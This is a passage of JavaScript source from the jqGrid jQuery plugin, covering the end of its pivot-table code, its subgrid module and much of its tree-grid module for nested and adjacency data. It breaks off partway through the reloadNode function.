}); // return the final result. return { "colModel" : columns, "rows": pivotrows, "groupOptions" : groupOptions, "groupHeaders" : headers, summary : summaries }; }, jqPivot : function( data, pivotOpt, gridOpt, ajaxOpt) { return this.each(function(){ var $t = this, regional = gridOpt.regional ? gridOpt.regional : "en"; if(pivotOpt.loadMsg === undefined) { pivotOpt.loadMsg = true; } if(pivotOpt.loadMsg) { $("<div class='loading_pivot ui-state-default ui-state-active row'>"+$.jgrid.getRegional($t, "regional."+regional+".defaults.loadtext")+"</div>").insertBefore($t).show(); } function pivot( data) { if( $.jgrid.isFunction( pivotOpt.onInitPivot ) ) { pivotOpt.onInitPivot.call( $t ); } if( !Array.isArray(data) ) { //throw "data provides is not an array"; data = []; } var pivotGrid = jQuery($t).jqGrid('pivotSetup',data, pivotOpt), footerrow = $.assocArraySize(pivotGrid.summary) > 0 ? true : false, query= $.jgrid.from.call($t, pivotGrid.rows), i, so, st, len; if(pivotOpt.ignoreCase) { query = query.ignoreCase(); } for(i=0; i< pivotGrid.groupOptions.groupingView.groupField.length; i++) { so = pivotOpt.xDimension[i].sortorder ? pivotOpt.xDimension[i].sortorder : 'asc'; st = pivotOpt.xDimension[i].sorttype ? pivotOpt.xDimension[i].sorttype : 'text'; query.orderBy(pivotGrid.groupOptions.groupingView.groupField[i], so, st, '', st); } len = pivotOpt.xDimension.length; if(gridOpt.sortname) { // should be a part of xDimension so = gridOpt.sortorder ? gridOpt.sortorder : 'asc'; st = 'text'; for( i=0; i< len; i++) { if(pivotOpt.xDimension[i].dataName === gridOpt.sortname) { st = pivotOpt.xDimension[i].sorttype ? pivotOpt.xDimension[i].sorttype : 'text'; break; } } query.orderBy(gridOpt.sortname, so, st, '', st); } else { if(pivotGrid.groupOptions.sortname && len) { so = pivotOpt.xDimension[len-1].sortorder ? pivotOpt.xDimension[len-1].sortorder : 'asc'; st = pivotOpt.xDimension[len-1].sorttype ? pivotOpt.xDimension[len-1].sorttype : 'text'; query.orderBy(pivotGrid.groupOptions.sortname, so, st, '', st); } } jQuery($t).jqGrid($.extend(true, { datastr: $.extend(query.select(),footerrow ? {userdata:pivotGrid.summary} : {}), datatype: "jsonstring", footerrow : footerrow, userDataOnFooter: footerrow, colModel: pivotGrid.colModel, viewrecords: true, formatFooterData : pivotOpt.colTotals === true ? true : false, sortname: pivotOpt.xDimension[0].dataName // ????? }, pivotGrid.groupOptions, gridOpt || {})); var gHead = pivotGrid.groupHeaders; if(gHead.length) { for( i = 0;i < gHead.length ; i++) { if(gHead[i] && gHead[i].groupHeaders.length) { jQuery($t).jqGrid('setGroupHeaders',gHead[i]); } } } if(pivotOpt.frozenStaticCols) { jQuery($t).jqGrid("setFrozenColumns"); } if( $.jgrid.isFunction( pivotOpt.onCompletePivot ) ) { pivotOpt.onCompletePivot.call( $t ); } if(pivotOpt.loadMsg) { $(".loading_pivot").remove(); } } if(typeof data === "string") { $.ajax($.extend({ url : data, dataType: 'json', success : function(response) { pivot($.jgrid.getAccessor(response, ajaxOpt && ajaxOpt.reader ? ajaxOpt.reader: 'rows') ); } }, ajaxOpt || {}) ); } else { pivot( data ); } }); } }); //module begin $.jgrid.extend({ setSubGrid : function () { return this.each(function (){ var $t = this, cm, i, classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].subgrid, suboptions = { plusicon : classes.icon_plus, minusicon : classes.icon_minus, openicon: classes.icon_open, expandOnLoad: false, selectOnExpand : false, selectOnCollapse : false, reloadOnExpand : true, onErrorLoadData : null }; $t.p.subGridOptions = $.extend(suboptions, $t.p.subGridOptions || {}); $t.p.colNames.unshift(""); $t.p.colModel.unshift({name:'subgrid',width: $.jgrid.cell_width ? $t.p.subGridWidth+$t.p.cellLayout : $t.p.subGridWidth,sortable: false,resizable:false,hidedlg:true,search:false,fixed:true}); cm = $t.p.subGridModel; if(cm[0]) { cm[0].align = $.extend([],cm[0].align || []); for(i=0;i<cm[0].name.length;i++) { cm[0].align[i] = cm[0].align[i] || 'left';} } }); }, addSubGridCell :function (pos,iRow) { var prp='', ic, sid, icb ; this.each(function(){ prp = this.formatCol(pos,iRow); sid= this.p.id; ic = this.p.subGridOptions.plusicon; icb = $.jgrid.styleUI[(this.p.styleUI || 'jQueryUI')].common; }); return "<td role=\"gridcell\" aria-describedby=\""+sid+"_subgrid\" class=\"ui-sgcollapsed sgcollapsed\" "+prp+"><a style='cursor:pointer;' class='ui-sghref'><span class='" + icb.icon_base +" "+ic+"'></span></a></td>"; }, addSubGrid : function( pos, sind ) { return this.each(function(){ var ts = this; if (!ts.grid ) { return; } var base = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].base, common = $.jgrid.styleUI[(ts.p.styleUI || 'jQueryUI')].common, errors = $.jgrid.getRegional(this, 'errors'); //------------------------- var subGridCell = function(trdiv,cell,pos) { var tddiv = $("<td align='"+ts.p.subGridModel[0].align[pos]+"'></td>").html(cell); $(trdiv).append(tddiv); }; var subGridXml = function(sjxml, sbid){ var tddiv, i, sgmap, dummy = $("<table class='" + base.rowTable + " ui-common-table'><tbody></tbody></table>"), trdiv = $("<tr></tr>"); for (i = 0; i<ts.p.subGridModel[0].name.length; i++) { tddiv = $("<th class='" + base.headerBox+" ui-th-subgrid ui-th-column ui-th-"+ts.p.direction+"'></th>"); $(tddiv).html(ts.p.subGridModel[0].name[i]); $(tddiv).width( ts.p.subGridModel[0].width[i]); $(trdiv).append(tddiv); } $(dummy).append(trdiv); if (sjxml){ sgmap = ts.p.xmlReader.subgrid; $(sgmap.root+" "+sgmap.row, sjxml).each( function(){ trdiv = $("<tr class='" + common.content+" ui-subtblcell'></tr>"); if(sgmap.repeatitems === true) { $(sgmap.cell,this).each( function(i) { subGridCell(trdiv, $(this).text() || ' ',i); }); } else { var f = ts.p.subGridModel[0].mapping || ts.p.subGridModel[0].name; if (f) { for (i=0;i<f.length;i++) { subGridCell(trdiv, $.jgrid.getXmlData(this, f[i]) || ' ',i); } } } $(dummy).append(trdiv); }); } var pID = $(ts.grid.bDiv).find("table").first().attr("id")+"_"; $("#"+$.jgrid.jqID(pID+sbid)).append(dummy); ts.grid.hDiv.loading = false; $("#load_"+$.jgrid.jqID(ts.p.id)).hide(); return false; }; var subGridJson = function(sjxml, sbid){ var tddiv,result,i,cur, sgmap,j, dummy = $("<table class='" + base.rowTable + " ui-common-table'><tbody></tbody></table>"), trdiv = $("<tr></tr>"); for (i = 0; i<ts.p.subGridModel[0].name.length; i++) { tddiv = $("<th class='" + base.headerBox + " ui-th-subgrid ui-th-column ui-th-"+ts.p.direction+"'></th>"); $(tddiv).html(ts.p.subGridModel[0].name[i]); $(tddiv).width( ts.p.subGridModel[0].width[i]); $(trdiv).append(tddiv); } $(dummy).append(trdiv); if (sjxml){ sgmap = ts.p.jsonReader.subgrid; result = $.jgrid.getAccessor(sjxml, sgmap.root); if ( result !== undefined ) { for (i=0;i<result.length;i++) { cur = result[i]; trdiv = $("<tr class='" + common.content+" ui-subtblcell'></tr>"); if(sgmap.repeatitems === true) { if(sgmap.cell) { cur=cur[sgmap.cell]; } for (j=0;j<cur.length;j++) { subGridCell(trdiv, cur[j] || ' ',j); } } else { var f = ts.p.subGridModel[0].mapping || ts.p.subGridModel[0].name; if(f.length) { for (j=0;j<f.length;j++) { subGridCell(trdiv, $.jgrid.getAccessor(cur, f[j] ) || ' ',j); } } } $(dummy).append(trdiv); } } } var pID = $(ts.grid.bDiv).find("table").first().attr("id")+"_"; $("#"+$.jgrid.jqID(pID+sbid)).append(dummy); ts.grid.hDiv.loading = false; $("#load_"+$.jgrid.jqID(ts.p.id)).hide(); return false; }; var populatesubgrid = function( rd ) { var sid,dp, i, j; sid = $(rd).attr("id"); dp = {nd_: (new Date().getTime())}; dp[ts.p.prmNames.subgridid]=sid; if(!ts.p.subGridModel[0]) { return false; } if(ts.p.subGridModel[0].params) { for(j=0; j < ts.p.subGridModel[0].params.length; j++) { for(i=0; i<ts.p.colModel.length; i++) { if(ts.p.colModel[i].name === ts.p.subGridModel[0].params[j]) { dp[ts.p.colModel[i].name]= $("td", rd).eq( i ).text().replace(/\ \;/ig,''); } } } } if(!ts.grid.hDiv.loading) { ts.grid.hDiv.loading = true; $("#load_"+$.jgrid.jqID(ts.p.id)).show(); if(!ts.p.subgridtype) { ts.p.subgridtype = ts.p.datatype; } if($.jgrid.isFunction(ts.p.subgridtype)) { ts.p.subgridtype.call(ts, dp); } else { ts.p.subgridtype = ts.p.subgridtype.toLowerCase(); } switch(ts.p.subgridtype) { case "xml": case "json": $.ajax($.extend({ type:ts.p.mtype, url: $.jgrid.isFunction(ts.p.subGridUrl) ? ts.p.subGridUrl.call(ts, dp) : ts.p.subGridUrl, dataType:ts.p.subgridtype, data: $.jgrid.isFunction(ts.p.serializeSubGridData)? ts.p.serializeSubGridData.call(ts, dp) : dp, success: function(res, stat, sxml) { if(ts.p.subgridtype === "xml") { subGridXml(sxml.responseXML, sid); } else { subGridJson($.jgrid.parse(sxml.responseText), sid); } sxml=null; }, error : function(res, stat, err) { if($.jgrid.isFunction(ts.p.subGridOptions.onErrorLoadData) ) { ts.p.subGridOptions.onErrorLoadData.call(ts, rowid, res, stat, err); } else { var rT = res.responseText +" <br/>"+res.statusText; try { $.jgrid.info_dialog(errors.errcap,'<div class="'+common.error+'">'+ rT +'</div>', edit.bClose, {buttonalign:'right', styleUI : ts.p.styleUI }); } catch(e) { alert(rT); } } } }, $.jgrid.ajaxOptions, ts.p.ajaxSubgridOptions || {})); break; } } return false; }; var _id, pID,atd, nhc=0, bfsc, $r; $.each(ts.p.colModel,function(){ if(this.hidden === true || this.name === 'rn' || this.name === 'cb' || this.name === 'sc' ) { nhc++; } }); var len = ts.rows.length, i=1,hsret, ishsg = $.jgrid.isFunction(ts.p.isHasSubGrid); if( sind !== undefined && sind > 0) { i = sind; len = sind+1; } while(i < len) { if($(ts.rows[i]).hasClass('jqgrow')) { if(ts.p.scroll) { $(ts.rows[i].cells[pos]).off('click'); } hsret = null; if(ishsg) { hsret = ts.p.isHasSubGrid.call(ts, ts.rows[i].id); } if(hsret === false) { ts.rows[i].cells[pos].innerHTML = ""; } else { $(ts.rows[i].cells[pos]).on('click', function() { var tr = $(this).parent("tr")[0]; pID = ts.p.id; _id = tr.id; $r = $("#" + pID + "_" + _id + "_expandedContent"); if($(this).hasClass("sgcollapsed")) { bfsc = $(ts).triggerHandler("jqGridSubGridBeforeExpand", [pID + "_" + _id, _id]); bfsc = (bfsc === false || bfsc === 'stop') ? false : true; if(bfsc && $.jgrid.isFunction(ts.p.subGridBeforeExpand)) { bfsc = ts.p.subGridBeforeExpand.call(ts, pID+"_"+_id,_id); } if(bfsc === false) {return false;} if(ts.p.subGridOptions.reloadOnExpand === true || ( ts.p.subGridOptions.reloadOnExpand === false && !$r.hasClass('ui-subgrid') ) ) { atd = pos >=1 ? "<td colspan='"+pos+"'> </td>":""; $(tr).after( "<tr role='row' id='" + pID + "_" + _id + "_expandedContent" + "' class='ui-subgrid ui-sg-expanded'>"+atd+"<td class='" + common.content +" subgrid-cell'><span class='" + common.icon_base +" "+ts.p.subGridOptions.openicon+"'></span></td><td colspan='"+parseInt(ts.p.colNames.length-1-nhc,10)+"' class='" + common.content +" subgrid-data'><div id="+pID+"_"+_id+" class='tablediv'></div></td></tr>" ); $(ts).triggerHandler("jqGridSubGridRowExpanded", [pID + "_" + _id, _id]); if( $.jgrid.isFunction(ts.p.subGridRowExpanded)) { ts.p.subGridRowExpanded.call(ts, pID+"_"+ _id,_id); } else { populatesubgrid(tr); } } else { $r.show().removeClass("ui-sg-collapsed").addClass("ui-sg-expanded"); } $(this).html("<a style='cursor:pointer;' class='ui-sghref'><span class='" + common.icon_base +" "+ts.p.subGridOptions.minusicon+"'></span></a>").removeClass("sgcollapsed").addClass("sgexpanded"); if(ts.p.subGridOptions.selectOnExpand) { $(ts).jqGrid('setSelection',_id); } } else if($(this).hasClass("sgexpanded")) { bfsc = $(ts).triggerHandler("jqGridSubGridRowColapsed", [pID + "_" + _id, _id]); bfsc = (bfsc === false || bfsc === 'stop') ? false : true; if( bfsc && $.jgrid.isFunction(ts.p.subGridRowColapsed)) { bfsc = ts.p.subGridRowColapsed.call(ts, pID+"_"+_id,_id ); } if(bfsc===false) {return false;} if(ts.p.subGridOptions.reloadOnExpand === true) { $r.remove(".ui-subgrid"); } else if($r.hasClass('ui-subgrid')) { // incase of dynamic deleting $r.hide().addClass("ui-sg-collapsed").removeClass("ui-sg-expanded"); } $(this).html("<a style='cursor:pointer;' class='ui-sghref'><span class='"+common.icon_base +" "+ts.p.subGridOptions.plusicon+"'></span></a>").removeClass("sgexpanded").addClass("sgcollapsed"); if(ts.p.subGridOptions.selectOnCollapse) { $(ts).jqGrid('setSelection',_id); } } return false; }); } } i++; } if(ts.p.subGridOptions.expandOnLoad === true) { var offset = 0; if(ts.p.multiselect) { offset++;} if(ts.p.rownumbers) { offset++;} $(ts.rows).filter('.jqgrow').each(function(index,row){ $(row.cells[offset]).click(); }); } ts.subGridXml = function(xml,sid) {subGridXml(xml,sid);}; ts.subGridJson = function(json,sid) {subGridJson(json,sid);}; }); }, expandSubGridRow : function(rowid) { return this.each(function () { var $t = this; if(!$t.grid && !rowid) {return;} if($t.p.subGrid===true) { var rc = $(this).jqGrid("getInd",rowid,true); if(rc) { var sgc = $("td.sgcollapsed",rc)[0]; if(sgc) { $(sgc).trigger("click"); } } } }); }, collapseSubGridRow : function(rowid) { return this.each(function () { var $t = this; if(!$t.grid && !rowid) {return;} if($t.p.subGrid===true) { var rc = $(this).jqGrid("getInd",rowid,true); if(rc) { var sgc = $("td.sgexpanded",rc)[0]; if(sgc) { $(sgc).trigger("click"); } } } }); }, toggleSubGridRow : function(rowid) { return this.each(function () { var $t = this; if(!$t.grid && !rowid) {return;} if($t.p.subGrid===true) { var rc = $(this).jqGrid("getInd",rowid,true); if(rc) { var sgc = $("td.sgcollapsed",rc)[0]; if(sgc) { $(sgc).trigger("click"); } else { sgc = $("td.sgexpanded",rc)[0]; if(sgc) { $(sgc).trigger("click"); } } } } }); } }); //module begin $.jgrid.extend({ setTreeNode : function(i, len){ return this.each(function(){ var $t = this; if( !$t.grid || !$t.p.treeGrid ) {return;} var expCol = $t.p.expColInd, expanded = $t.p.treeReader.expanded_field, isLeaf = $t.p.treeReader.leaf_field, level = $t.p.treeReader.level_field, icon = $t.p.treeReader.icon_field, loaded = $t.p.treeReader.loaded, lft, rgt, curLevel, ident,lftpos, twrap, ldat, lf, common = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].common, index = i; $($t).triggerHandler("jqGridBeforeSetTreeNode", [index, len]); if($.jgrid.isFunction($t.p.beforeSetTreeNode)) { $t.p.beforeSetTreeNode.call($t, index, len); } while(i<len) { var ind = $.jgrid.stripPref($t.p.idPrefix, $t.rows[i].id), dind = $t.p._index[ind], expan; ldat = $t.p.data[dind]; //$t.rows[i].level = ldat[level]; if($t.p.treeGridModel === 'nested') { if(!ldat[isLeaf]) { lft = parseInt(ldat[$t.p.treeReader.left_field],10); rgt = parseInt(ldat[$t.p.treeReader.right_field],10); // NS Model ldat[isLeaf] = (rgt === lft+1) ? 'true' : 'false'; $t.rows[i].cells[$t.p._treeleafpos].innerHTML = ldat[isLeaf]; } } //else { //row.parent_id = rd[$t.p.treeReader.parent_id_field]; //} curLevel = parseInt(ldat[level],10); if($t.p.tree_root_level === 0) { ident = curLevel+1; lftpos = curLevel; } else { ident = curLevel; lftpos = curLevel -1; } twrap = "<div class='tree-wrap tree-wrap-"+$t.p.direction+"' style='width:"+(ident*18)+"px;'>"; twrap += "<div style='"+($t.p.direction==="rtl" ? "right:" : "left:")+(lftpos*18)+"px;' class='"+common.icon_base+" "; if(ldat[loaded] !== undefined) { if(ldat[loaded]==="true" || ldat[loaded]===true) { ldat[loaded] = true; } else { ldat[loaded] = false; } } if(ldat[isLeaf] === "true" || ldat[isLeaf] === true) { twrap += ((ldat[icon] !== undefined && ldat[icon] !== "") ? ldat[icon] : $t.p.treeIcons.leaf)+" tree-leaf treeclick"; ldat[isLeaf] = true; lf="leaf"; } else { ldat[isLeaf] = false; lf=""; } ldat[expanded] = ((ldat[expanded] === "true" || ldat[expanded] === true) ? true : false) && (ldat[loaded] || ldat[loaded] === undefined); if(ldat[expanded] === false) { twrap += ((ldat[isLeaf] === true) ? "'" : $t.p.treeIcons.plus+" tree-plus treeclick'"); } else { twrap += ((ldat[isLeaf] === true) ? "'" : $t.p.treeIcons.minus+" tree-minus treeclick'"); } twrap += "></div></div>"; $($t.rows[i].cells[expCol]).wrapInner("<span class='cell-wrapper"+lf+"'></span>").prepend(twrap); if(curLevel !== parseInt($t.p.tree_root_level,10)) { //var pn = $($t).jqGrid('getNodeParent',ldat); //expan = pn && pn.hasOwnProperty(expanded) ? pn[expanded] : true; expan = $($t).jqGrid('isVisibleNode',ldat); // overhead if( !expan ){ $($t.rows[i]).css("display","none"); } } $($t.rows[i].cells[expCol]) .find("div.treeclick") .on("click",function(e){ var target = e.target || e.srcElement, ind2 =$.jgrid.stripPref($t.p.idPrefix,$(target,$t.rows).closest("tr.jqgrow")[0].id), pos = $t.p._index[ind2]; if(!$t.p.data[pos][isLeaf]){ if($t.p.data[pos][expanded]){ $($t).jqGrid("collapseRow",$t.p.data[pos]); $($t).jqGrid("collapseNode",$t.p.data[pos]); } else { $($t).jqGrid("expandRow",$t.p.data[pos]); $($t).jqGrid("expandNode",$t.p.data[pos]); } } //return false; }); if($t.p.ExpandColClick === true) { $($t.rows[i].cells[expCol]) .find("span.cell-wrapper") .css("cursor","pointer") .on("click",function(e) { var target = e.target || e.srcElement, ind2 =$.jgrid.stripPref($t.p.idPrefix,$(target,$t.rows).closest("tr.jqgrow")[0].id), pos = $t.p._index[ind2]; if(!$t.p.data[pos][isLeaf]){ if($t.p.data[pos][expanded]){ $($t).jqGrid("collapseRow",$t.p.data[pos]); $($t).jqGrid("collapseNode",$t.p.data[pos]); } else { $($t).jqGrid("expandRow",$t.p.data[pos]); $($t).jqGrid("expandNode",$t.p.data[pos]); } } $($t).jqGrid("setSelection",ind2); //return false; }); } i++; } $($t).triggerHandler("jqGridAfterSetTreeNode", [index, len]); if($.jgrid.isFunction($t.p.afterSetTreeNode)) { $t.p.afterSetTreeNode.call($t, index, len); } }); }, setTreeGrid : function() { return this.each(function (){ var $t = this, i=0, pico, ecol = false, nm, key, tkey, dupcols=[], classes = $.jgrid.styleUI[($t.p.styleUI || 'jQueryUI')].treegrid; if(!$t.p.treeGrid) {return;} if(!$t.p.treedatatype ) {$.extend($t.p,{treedatatype: $t.p.datatype});} if($t.p.loadonce) { $t.p.treedatatype = 'local'; } $t.p.subGrid = false;$t.p.altRows =false; //bvn if (!$t.p.treeGrid_bigData) { $t.p.pgbuttons = false; $t.p.pginput = false; $t.p.rowList = []; } $t.p.gridview = true; //bvn if($t.p.rowTotal === null && !$t.p.treeGrid_bigData ) { $t.p.rowNum = 10000; } $t.p.multiselect = false; // $t.p.rowList = []; $t.p.expColInd = 0; pico = classes.icon_plus; if($t.p.styleUI === 'jQueryUI') { pico += ($t.p.direction==="rtl" ? 'w' : 'e'); } $t.p.treeIcons = $.extend({plus:pico, minus: classes.icon_minus, leaf: classes.icon_leaf},$t.p.treeIcons || {}); if($t.p.treeGridModel === 'nested') { $t.p.treeReader = $.extend({ level_field: "level", left_field:"lft", right_field: "rgt", leaf_field: "isLeaf", expanded_field: "expanded", loaded: "loaded", icon_field: "icon" },$t.p.treeReader); } else if($t.p.treeGridModel === 'adjacency') { $t.p.treeReader = $.extend({ level_field: "level", parent_id_field: "parent", leaf_field: "isLeaf", expanded_field: "expanded", loaded: "loaded", icon_field: "icon" },$t.p.treeReader ); } for ( key in $t.p.colModel){ if($t.p.colModel.hasOwnProperty(key)) { nm = $t.p.colModel[key].name; if( nm === $t.p.ExpandColumn && !ecol ) { ecol = true; $t.p.expColInd = i; } i++; // if( nm === $t.p.treeReader.level_field || nm === $t.p.treeReader.left_field || nm === $t.p.treeReader.right_field) { $t.p.colModel[key].sorttype = "integer"; } for(tkey in $t.p.treeReader) { if($t.p.treeReader.hasOwnProperty(tkey) && $t.p.treeReader[tkey] === nm) { dupcols.push(nm); } } } } $.each($t.p.treeReader,function(j,n){ if(n && $.inArray(n, dupcols) === -1){ if(j==='leaf_field') { $t.p._treeleafpos= i; } i++; $t.p.colNames.push(n); $t.p.colModel.push({name:n,width:1,hidden:true,sortable:false,resizable:false,hidedlg:true,editable:true,search:false}); } }); }); }, expandRow: function (record){ this.each(function(){ var $t = this, $rootpages; //bvn if (!$t.p.treeGrid_bigData) { $rootpages = $t.p.lastpage; } if(!$t.grid || !$t.p.treeGrid) {return;} var childern = $($t).jqGrid("getNodeChildren",record), //if ($($t).jqGrid("isVisibleNode",record)) { expanded = $t.p.treeReader.expanded_field, rowid = record[$t.p.localReader.id], ret = $($t).triggerHandler("jqGridBeforeExpandTreeGridRow", [rowid, record, childern]); if(ret === undefined ) { ret = true; } if(ret && $.jgrid.isFunction($t.p.beforeExpandTreeGridRow)) { ret = $t.p.beforeExpandTreeGridRow.call($t, rowid, record, childern); } if( ret === false ) { return; } $(childern).each(function(){ var id = $t.p.idPrefix + $.jgrid.getAccessor(this,$t.p.localReader.id); $($($t).jqGrid('getGridRowById', id)).css("display",""); if(this[expanded]) { $($t).jqGrid("expandRow",this); } }); $($t).triggerHandler("jqGridAfterExpandTreeGridRow", [rowid, record, childern]); if($.jgrid.isFunction($t.p.afterExpandTreeGridRow)) { $t.p.afterExpandTreeGridRow.call($t, rowid, record, childern); } //bvn if (!$t.p.treeGrid_bigData) { $t.p.lastpage = $rootpages; } //} }); }, collapseRow : function (record) { this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} var childern = $($t).jqGrid("getNodeChildren",record), expanded = $t.p.treeReader.expanded_field, rowid = record[$t.p.localReader.id], ret = $($t).triggerHandler("jqGridBeforeCollapseTreeGridRow", [rowid, record, childern]); if(ret === undefined ) { ret = true; } if(ret && $.jgrid.isFunction($t.p.beforeCollapseTreeGridRow)) { ret = $t.p.beforeCollapseTreeGridRow.call($t, rowid, record, childern); } if( ret === false ) { return; } $(childern).each(function(){ var id = $t.p.idPrefix + $.jgrid.getAccessor(this,$t.p.localReader.id); $($($t).jqGrid('getGridRowById', id)).css("display","none"); if(this[expanded]){ $($t).jqGrid("collapseRow",this); } }); $($t).triggerHandler("jqGridAfterCollapseTreeGridRow", [rowid, record, childern]); if($.jgrid.isFunction($t.p.afterCollapseTreeGridRow)) { $t.p.afterCollapseTreeGridRow.call($t, rowid, record, childern); } }); }, // NS ,adjacency models getRootNodes : function() { var result = []; this.each(function(){ var $t = this, level, parent_id, view = $t.p.data; if(!$t.grid || !$t.p.treeGrid) {return;} switch ($t.p.treeGridModel) { case 'nested' : level = $t.p.treeReader.level_field; $(view).each(function() { if(parseInt(this[level],10) === parseInt($t.p.tree_root_level,10)) { result.push(this); } }); break; case 'adjacency' : parent_id = $t.p.treeReader.parent_id_field; $(view).each(function(){ if(this[parent_id] === null || String(this[parent_id]).toLowerCase() === "null") { result.push(this); } }); break; } }); return result; }, getNodeDepth : function(rc) { var ret = null; this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var $t = this; switch ($t.p.treeGridModel) { case 'nested' : var level = $t.p.treeReader.level_field; ret = parseInt(rc[level],10) - parseInt($t.p.tree_root_level,10); break; case 'adjacency' : ret = $($t).jqGrid("getNodeAncestors",rc).length; break; } }); return ret; }, getNodeParent : function(rc) { var result = null; this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} switch ($t.p.treeGridModel) { case 'nested' : var lftc = $t.p.treeReader.left_field, rgtc = $t.p.treeReader.right_field, levelc = $t.p.treeReader.level_field, lft = parseInt(rc[lftc],10), rgt = parseInt(rc[rgtc],10), level = parseInt(rc[levelc],10); $(this.p.data).each(function(){ if(parseInt(this[levelc],10) === level-1 && parseInt(this[lftc],10) < lft && parseInt(this[rgtc],10) > rgt) { result = this; return false; } }); break; case 'adjacency' : var parent_id = $t.p.treeReader.parent_id_field, dtid = $t.p.localReader.id, ind = rc[dtid], pos = $t.p._index[ind]; while(pos--) { if( String( $t.p.data[pos][dtid]) === String( $.jgrid.stripPref($t.p.idPrefix, rc[parent_id]) ) ) { result = $t.p.data[pos]; break; } } break; } }); return result; }, getNodeChildren : function(rc ) { var result = []; this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} var i, len = this.p.data.length, row; switch ($t.p.treeGridModel) { case 'nested' : var lftc = $t.p.treeReader.left_field, rgtc = $t.p.treeReader.right_field, levelc = $t.p.treeReader.level_field, lft = parseInt(rc[lftc],10), rgt = parseInt(rc[rgtc],10), level = parseInt(rc[levelc],10); for(i=0; i < len; i++) { row = $t.p.data[i]; if(row && parseInt(row[levelc],10) === level+1 && parseInt(row[lftc],10) > lft && parseInt(row[rgtc],10) < rgt) { result.push(row); } } break; case 'adjacency' : var parent_id = $t.p.treeReader.parent_id_field, dtid = $t.p.localReader.id; for(i=0; i < len; i++) { row = $t.p.data[i]; if(row && String(row[parent_id]) === String( $.jgrid.stripPref($t.p.idPrefix, rc[dtid]) ) ) { result.push(row); } } break; } }); return result; }, getFullTreeNode : function(rc, expand) { var result = []; this.each(function(){ var $t = this, len,expanded = $t.p.treeReader.expanded_field; if(!$t.grid || !$t.p.treeGrid) {return;} if(expand == null || typeof expand !== 'boolean') { expand = false; } switch ($t.p.treeGridModel) { case 'nested' : var lftc = $t.p.treeReader.left_field, rgtc = $t.p.treeReader.right_field, levelc = $t.p.treeReader.level_field, lft = parseInt(rc[lftc],10), rgt = parseInt(rc[rgtc],10), level = parseInt(rc[levelc],10); $(this.p.data).each(function(){ if(parseInt(this[levelc],10) >= level && parseInt(this[lftc],10) >= lft && parseInt(this[lftc],10) <= rgt) { if(expand) { this[expanded] = true; } result.push(this); } }); break; case 'adjacency' : if(rc) { result.push(rc); var parent_id = $t.p.treeReader.parent_id_field, dtid = $t.p.localReader.id; $(this.p.data).each(function(i){ len = result.length; for (i = 0; i < len; i++) { if ( String( $.jgrid.stripPref($t.p.idPrefix, result[i][dtid]) ) === String( this[parent_id] ) ) { if(expand) { this[expanded] = true; } result.push(this); break; } } }); } break; } }); return result; }, // End NS, adjacency Model getNodeAncestors : function(rc, reverse, expanded) { var ancestors = []; if(reverse === undefined ) { reverse = false; } this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} if(expanded === undefined ) { expanded = false; } else { expanded = this.p.treeReader.expanded_field; } var parent = $(this).jqGrid("getNodeParent",rc); while (parent) { if(expanded) { try{ parent[expanded] = true; } catch (etn) {} } if(reverse) { ancestors.unshift(parent); } else { ancestors.push(parent); } parent = $(this).jqGrid("getNodeParent",parent); } }); return ancestors; }, isVisibleNode : function(rc) { var result = true; this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} var ancestors = $($t).jqGrid("getNodeAncestors",rc), expanded = $t.p.treeReader.expanded_field; $(ancestors).each(function(){ result = result && this[expanded]; if(!result) {return false;} }); }); return result; }, isNodeLoaded : function(rc) { var result; this.each(function(){ var $t = this; if(!$t.grid || !$t.p.treeGrid) {return;} var isLeaf = $t.p.treeReader.leaf_field, loaded = $t.p.treeReader.loaded; if(rc !== undefined ) { if(rc[loaded] !== undefined) { result = rc[loaded]; } else if( rc[isLeaf] || $($t).jqGrid("getNodeChildren",rc).length > 0){ result = true; } else { result = false; } } else { result = false; } }); return result; }, setLeaf : function (rc, state, collapsed) { return this.each(function(){ var id = $.jgrid.getAccessor(rc,this.p.localReader.id), rc1 = $("#"+id,this.grid.bDiv)[0], isLeaf = this.p.treeReader.leaf_field; try { var dr = this.p._index[id]; if(dr != null) { this.p.data[dr][isLeaf] = state; } } catch(E){} if(state === true) { // set it in data $("div.treeclick",rc1).removeClass(this.p.treeIcons.minus+" tree-minus "+this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.leaf +" tree-leaf"); } else if(state === false) { var ico = this.p.treeIcons.minus+" tree-minus"; if(collapsed) { ico = this.p.treeIcons.plus+" tree-plus"; } $("div.treeclick",rc1).removeClass(this.p.treeIcons.leaf +" tree-leaf").addClass( ico ); } }); }, reloadNode: function(rc, reloadcurrent) { return this.each(function(){ if(!this.grid || !this.p.treeGrid) {return;} var rid = this.p.localReader.id, currselection = this.p.selrow; $(this).jqGrid("delChildren", rc[rid]); if(reloadcurrent=== undefined) { reloadcurrent = false; } if(!reloadcurrent) { if(!jQuery._data( this, "events" ).jqGridAfterSetTreeNode) { $(this).on("jqGridAfterSetTreeNode.reloadNode", function(){ var isLeaf = this.p.treeReader.leaf_field; if(this.p.reloadnode ) { var rc = this.p.reloadnode, chld = $(this).jqGrid('getNodeChildren', rc); if(rc[isLeaf] && chld.length) { $(this).jqGrid('setLeaf', rc, false); } else if(!rc[isLeaf] && chld.length === 0) { $(this).jqGrid('setLeaf', rc, true); } } this.p.reloadnode = false; }); } } var expanded = this.p.treeReader.expanded_field, parent = this.p.treeReader.parent_id_field, loaded = this.p.treeReader.loaded, level = this.p.treeReader.level_field, isLeaf = this.p.treeReader.leaf_field, lft = this.p.treeReader.left_field, rgt = this.p.treeReader.right_field; var id = $.jgrid.getAccessor(rc,this.p.localReader.id), rc1 = $("#"+id,this.grid.bDiv)[0]; rc[expanded] = true; if(!rc[isLeaf]) { $("div.treeclick",rc1).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"); } this.p.treeANode = rc1.rowIndex; this.p.datatype = this.p.treedatatype; this.p.reloadnode = rc; if(reloadcurrent) { this.p.treeANode = rc1.rowIndex > 0 ? 